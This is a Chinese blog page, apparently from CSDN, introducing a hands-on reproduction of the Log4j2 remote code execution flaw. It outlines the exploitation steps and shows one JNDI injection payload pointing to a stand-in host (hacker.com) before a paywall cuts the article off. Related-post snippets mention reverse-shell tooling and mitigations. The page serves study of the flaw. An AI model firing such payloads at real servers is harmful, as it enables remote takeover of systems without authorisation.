Log4j2手把手的漏洞复现——简易版

已于 2022-03-09 15:44:01 修改
阅读量3.4k 收藏 7
点赞数 3
分类专栏： 安全学习日志 文章标签： java apache 安全 log4j2
于 2021-12-16 21:33:05 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_45996361/article/details/121984333
版权
本文介绍了Apache Log4j2的安全漏洞，该漏洞允许攻击者通过构造特定数据请求包触发远程代码执行。内容包括漏洞简介、复现环境要求，以及为不熟悉Java的用户提供快速搭建环境的资源链接，详细解释了如何通过JDNI注入进行漏洞复现。
摘要由CSDN通过智能技术生成

漏洞简介

Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架，并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发，用来记录日志信息.

大多数情况下，开发人员可能会将用户输入导致的错误信息写入日志。攻击者可以利用该特性通过该漏洞构造特殊的数据请求包，最终触发远程代码执行。

这个漏洞的利用可以分为这样的流程：
  • 编写恶意代码
  • 开启服务器 Web 服务
  • 将恶意代码编译并挂起到 Web 服务上
  • 构造恶意 payload （ ${jndi:ldap://hacker.com/Exploit} ，
最低0.47元/天 解锁文章
1erkeU
关注
专栏目录
Log4j2 漏洞检测工具清单
01-17 1万+
距离Log4j2漏洞公开已经过去一个月了，它所造成的严重影响已经不需要我们重复提及了。随着时间的推移，新的漏洞会不断出现，旧的漏洞会不断消失，而这个Log4j2中的RCE漏洞可能需要好几年...
记一次log4j2 RCE漏洞利用
la-大白
10-16 2574
log4j2 RCE漏洞利用
Apache Log4j2 远程代码执行漏洞检测工具
12-15
Apache Log4j2 远程代码执行漏洞检测工具，包含windows版和linux版。图形化 Apache Log4j2检测工具
log4j2远程代码执行漏洞原理与漏洞复现（基于vulhub，保姆级的详细教程）_log4j漏洞复现
最新发布
baimao__Ch的博客
08-15 765
log4j2是2021年底爆出的非常严重的漏洞，可谓是风靡一时，“血洗互联网”，也是安全公司面试的常见题目，我们应该了解这个漏洞的原理及利用方式。如何排查是否受到了攻击？检查日志中是否存在"jndi:ldap://"、"jndi:rmi//"等字符来发现可能的攻击行为，前面复现的过程在payload的构造中都出现了这样的字符串，这是攻击的典型标志。如何对log4j2的攻击进行防御？1.设置log4j2.formatMsgNoLookups=True。
log4j2漏洞检测和利用
qq_40909772的博客
12-07 1694
漏洞检测使用的是BP插件，插件地址。 JNDI注入工具，工具地址 https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0，命令如下： 将以下命令进行base64编码，IP替换为你攻击机IP。 使用工具命令如下： burp发包： 反弹shell成功：
Apache Log4j 远程代码执行漏洞批量检测工具
保持微笑的博客
01-10 3148
漏洞描述 由于Apache Log4j2某些功能存在递归解析功能，攻击者可直接构造恶意请求，触发远程代码执行漏洞。漏洞利用无需特殊配置，Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。 影响版本 Apache Log4j 2.x < 2.15.0-rc2 影响范围 含有该漏洞的Log4j影响到超过 6000个中间件或应用，目前已知的可能受影响的应用及组件包括但不限于如下清单中所列出的： Sp...
Log4j2 RCE 漏洞复现步骤以及根因
weixin_46073333的博客
12-12 6836
相信大家最近一定被log4j2的远程代码执行漏洞所刷屏了，各个互联网厂商，开源组织，还有相关企业都瑟瑟发抖，相关研发人员也都是加班加点紧急修复和改正。笔者也看了一些相关文章，感觉不少都...
log4j2漏洞检测工具
05-07
1、检测项目中是否存在log4j的漏洞 2、工作使用
log4j漏洞扫描工具带详细教程和用法
01-27
python环境下执行，可批量扫描url，可扫描本地，可绕过waf测试，fuzzing测试
APT35 利用 Log4j 漏洞传播新的模块化 PowerShell 工具包
wdj_yyds的博客
01-22 3081
随着Log4j安全漏洞的出现，研究人员已经看到多个攻击者(主要是出于经济动机)立即将其添加到他们的武器库中。毫不奇怪，一些由国家支持的攻击者也将这个新漏洞视为在潜在目标，在受影响系统修复这个漏洞之前寻找发动攻击的机会。 APT35（又名 Charming Kitten、TA453 或 Phosphorus）被怀疑是由伊朗国家支持的黑客组织，在漏洞被披露后仅仅四天，就开始在公开系统中广泛扫描并试图利用Log4j漏洞。攻击者的攻击设置显然是仓促的，因为他们使用了基本的开源工具进行攻击，并基于之前的基础设施进行
静态代码检测工具Wukong对log4J中的漏洞检测、分析及漏洞修复
m0_61869253的博客
05-07 909
最近的Log4J漏洞(CVE-2021-44228)正造成网络大乱，其影响力不亚于早期的HeartBleeding漏洞。2.0-beta9 ~ 2.14.1版本的Apache Log4j2均存在改漏洞，可以说直接影响了大部分基于Java的应用。该漏洞最早被阿里云安全团队发现并验证，随即被Apache定义为高危级别。Log4j在log字符串”jndi:xxx”时，“{jndi:xxx}”时，“jndi:xxx”时，“{“这一特殊字符会指定Log4J通过JNDI来根据字符串”xxx”获得对应名称。
Log4j 漏洞修复检测 附检测工具
热门推荐
cnsre运维博客
12-13 1万+
作者：SRE运维博客 博客地址：https://www.cnsre.cn/ 文章地址：https://www.cnsre.cn/posts/211213210004/ 相关话题：https://www.cnsre.cn/tags/Log4j/ 近日的Log4j2，可是非常的火啊，我也是加班加点把补丁给打上了次安心。Apache Log4j2存在远程代码执行漏洞，经验证，该漏洞允许攻击者在目标服务器上执行任意代码，可导致服务器被黑客控制。由于Apache Log4j 2应用较为广泛，建议使用该组件的用..
新鲜出炉的，针对Log4j核弹级漏洞的扫描工具
一个爱上护士的猿
12-16 4250
背景 近日，网络上出现 Apache Log4j2 远程代码执行漏洞。攻击者可利用该漏洞构造特殊的数据请求包，最终触发远程代码执行。由于该漏洞影响范围极广，建议广大用户及时排查相关漏洞，经过白帽汇安全研究院分析确认，目前市面有多款流行的系统都受影响。 log4j作为众多软件广泛引入的类库，漏洞影响范围太大了，据说各大厂程序员半夜被叫起来加班加点修复。 漏洞描述 Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架，并且引入了大量丰富的特性。该日志框架被大量用于业务
Log4j2漏洞利用
weixin_52515588的博客
12-30 971
升级到最新的安全版本：log4j2-2.15.0-rc2。选用JNDI注入工具：JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar。这里的命令是想要靶机运行的命令，-A 后放的是发出攻击的电脑的IP，也是存放-C后”命令”的IP地址。【我直接下载连接失败，就下载好了以后拉进来的，如果是直接下载的去对应目录下面找】在漏洞已存在的情况下，构造攻击payload执行命令反弹shell。监听界面出现反弹shell成功的界面：(进入了交互模式)实现反弹shell，可以使用命令。
【实战】log4j2远程命令执行漏洞利用姿势汇总
mingyqf的博客
09-24 1150
原文链接：https://www.cnblogs.com/peterpan0707007/p/15772359.html。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

1erkeU

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值